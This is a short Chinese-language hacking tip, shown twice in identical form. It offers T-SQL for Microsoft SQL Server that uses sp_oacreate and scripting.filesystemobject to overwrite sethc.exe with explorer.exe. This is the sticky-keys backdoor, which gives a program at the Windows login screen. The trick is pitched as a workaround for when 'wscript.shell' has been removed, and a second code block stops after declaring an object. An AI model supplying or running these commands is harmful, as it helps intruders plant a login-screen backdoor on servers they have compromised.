导读:
在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法
(很多服务器都把'wscript.shell'给删了。)
上网找了些资料,得到下面方法:
复制文件:
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:/windows/explorer.exe' ,'c:/windows/system32/sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
此法随无技术可言,希望对某些人有点用。
在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法
(很多服务器都把'wscript.shell'给删了。)
上网找了些资料,得到下面方法:
复制文件:
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:/windows/explorer.exe' ,'c:/windows/system32/sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
此法随无技术可言,希望对某些人有点用。